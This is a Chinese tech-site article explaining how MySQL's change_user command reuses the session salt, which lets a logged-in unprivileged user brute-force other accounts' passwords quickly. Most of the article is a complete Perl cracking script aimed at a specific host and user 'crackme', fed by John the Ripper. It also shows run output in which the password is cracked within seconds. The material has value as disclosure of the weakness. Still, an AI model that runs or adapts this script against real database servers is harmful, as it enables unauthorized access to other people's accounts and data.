iis服务器助手广告广告
返回顶部
首页 > 资讯 > 数据库 >MySQL中怎么破解本地和远程密码
  • 749
分享到

MySQL中怎么破解本地和远程密码

2024-04-02 19:04:59 749人浏览 八月长安
摘要

这篇文章给大家介绍Mysql中怎么破解本地和远程密码,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。方法如下:攻击者使用一个无特权帐号登录到 mysql 服务器,mysql 有一个名为

这篇文章给大家介绍Mysql中怎么破解本地和远程密码,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。


方法如下:
攻击者使用一个无特权帐号登录到 mysql 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。
是什么导致非常慢?
因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。
下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:
测试的用户是 crackme 密码为 pass,只需数秒就可破解。
(大约 20 秒钟可测试 10 万密码)
测试脚本如下:

use Net::MySQL;

$|=1;

my $mysql = Net::MySQL->new(
 hostname => '192.168.2.3',
 database => 'test',
 user     => "user",
 passWord => "secret",
 debug => 0,
);

$crackuser = "crackme";

while(<stdin>) {
chomp;
$currentpass = $_;

$vv = join "",
        $crackuser,
        "\x14".
        Net::MySQL::Password->scramble(
            $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
        ) . "";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
    print "[*] Cracked! --> $currentpass\n";
    exit;
}
}

下面是我这台机器上的执行结果:
C:\Users\kinGCope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
hn --incremental --stdout=5 | perl mysqlcrack.pl 
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5 
words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH 
words: 24573  time: 0:00:00:04  w/s: 4916  current: rap 
words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3 
words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429 
words: 65530  time: 0:00:00:12  w/s: 5354  current: ch241 
words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n 
words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2 
[*] Cracked! --> pass 
words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs 
Session aborted
祝你好远:)
via grok

关于MySQL中怎么破解本地和远程密码就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

您可能感兴趣的文档:

--结束END--

本文标题: MySQL中怎么破解本地和远程密码

本文链接: https://www.lsjlt.com/news/58917.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • MySQL中怎么破解本地和远程密码
    这篇文章给大家介绍MySQL中怎么破解本地和远程密码,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。方法如下:攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 ...
    99+
    2022-10-18
  • 破解本地 mysql 用户名和密码(转)
    破解本地 mysql 用户名和密码(转)[@more@]  Windows:  1、用系统管理员登陆系统。   2、停止MySQL的服务。   3、进入命令窗口,然后进入 MySQL 的安装目录,比如我的安...
    99+
    2022-10-18
  • mysql密码怎么破解
    本篇内容介绍了“mysql密码怎么破解”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!Windows:1.用...
    99+
    2022-10-18
  • mysql的hash密码怎么破解
    这篇文章主要介绍“mysql的hash密码怎么破解”,在日常操作中,相信很多人在mysql的hash密码怎么破解问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”mysql的ha...
    99+
    2022-10-18
  • Linux各版本root本地密码破解方法是怎样的
    今天就跟大家聊聊有关Linux各版本root本地密码破解方法是怎样的,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。(一)RedHat/CentOS/Fedora 系统密码破解 1.在...
    99+
    2023-06-10
  • win7开机密码忘记了该怎么办? win7开机密码破解教程
      随着电脑时代的跨入,我们需要记住的密码有很多,过多的密码让我们容易混淆,win7系统是目前较为普遍应用的电脑操作系统,如果你一不小心忘了电脑的开机密码应该怎么办,现在小编就为大家介绍win7开机密码忘记的办法。  ...
    99+
    2023-05-20
    win7开机密码
  • git怎么拉取远程代码到本地
    要拉取远程代码到本地,可以使用以下命令: 首先,在本地创建一个空的目录作为代码仓库,使用git init命令初始化仓库。 切...
    99+
    2023-10-20
    git
  • 本地mongodb用户名和密码怎么设置
    在本地设置 MongoDB 的用户名和密码,可以按照以下步骤进行操作:1. 打开命令行窗口,并进入 MongoDB 的安装目录的 b...
    99+
    2023-08-24
    mongodb
  • Mysql怎么远程备份binlog日志到本地
    本篇内容主要讲解“Mysql怎么远程备份binlog日志到本地”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Mysql怎么远程备份binlog日志到本地”吧! ...
    99+
    2022-10-18
  • mysql中远程连接mysql很慢,本地连接mysql很快怎么处理
    这篇文章主要介绍mysql中远程连接mysql很慢,本地连接mysql很快怎么处理,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完! 症状:远程连接 mysql 很慢,但是 本地连接 ...
    99+
    2022-10-18
  • mysql怎么重建本地用户及远程用户
    这篇文章主要介绍“mysql怎么重建本地用户及远程用户”,在日常操作中,相信很多人在mysql怎么重建本地用户及远程用户问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”mysq...
    99+
    2022-10-18
  • vbscript中怎么防止本地用户更改密码
    vbscript中怎么防止本地用户更改密码,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。防止用户更改其密码的脚本:复制代码 代码如下:Const AD...
    99+
    2023-06-08
  • 如何解决mysql本地和远程登录不上的问题
    本篇文章为大家展示了如何解决mysql本地和远程登录不上的问题,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。mysql本地登录不上的问题本地登录不上,即忘记了密码,...
    99+
    2022-10-19
  • 在本地和远程怎么删除Git分支
    本篇内容介绍了“在本地和远程怎么删除Git分支”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!TL;DR 版本// delete&n...
    99+
    2023-06-26
  • MySQL怎么修改root密码并给远程登录赋权
    本篇内容主要讲解“MySQL怎么修改root密码并给远程登录赋权”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“MySQL怎么修改root密码并给远程登录赋权”吧...
    99+
    2022-10-18
  • 怎么远程把mysql通过mysqldump备份数据库到本地
    这篇文章主要介绍“怎么远程把mysql通过mysqldump备份数据库到本地”,在日常操作中,相信很多人在怎么远程把mysql通过mysqldump备份数据库到本地问题上存在疑惑,小编查阅了各式资料,整理出...
    99+
    2022-10-18
  • 详解dedecms织梦远程图片本地化https链接图片无法本地化怎么解决
    最近有朋友遇到发布文章时候文章里面带https的站外图片无法本地化,以下是解决办法: 找到  dede//inc/inc_archives_functions.php文件里面GetCurContent($bod...
    99+
    2022-06-12
    dedecms 远程图片 本地化 https链接
  • Mac系统中忘记MySQL密码怎么解决
    这篇“Mac系统中忘记MySQL密码怎么解决”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“...
    99+
    2023-05-25
    mac mysql
  • 怎么重置mysql的root密码以及设置mysql远程登陆权限
    这篇文章主要讲解了“怎么重置mysql的root密码以及设置mysql远程登陆权限”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“怎么重置mysql的root...
    99+
    2022-10-18
  • 云服务器怎么远程登录账号和密码
    云服务器提供了远程登录和访问服务,使用远程登录可以让您在本地服务器上登录您在云服务器上设置的账号、密码,而无需通过本地客户端或网页。但是,请注意,远程登录需要您的本地服务器支持该功能。如果您的服务器无法提供支持,则需要确保您已经在云服务器上...
    99+
    2023-10-26
    账号 密码 服务器
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作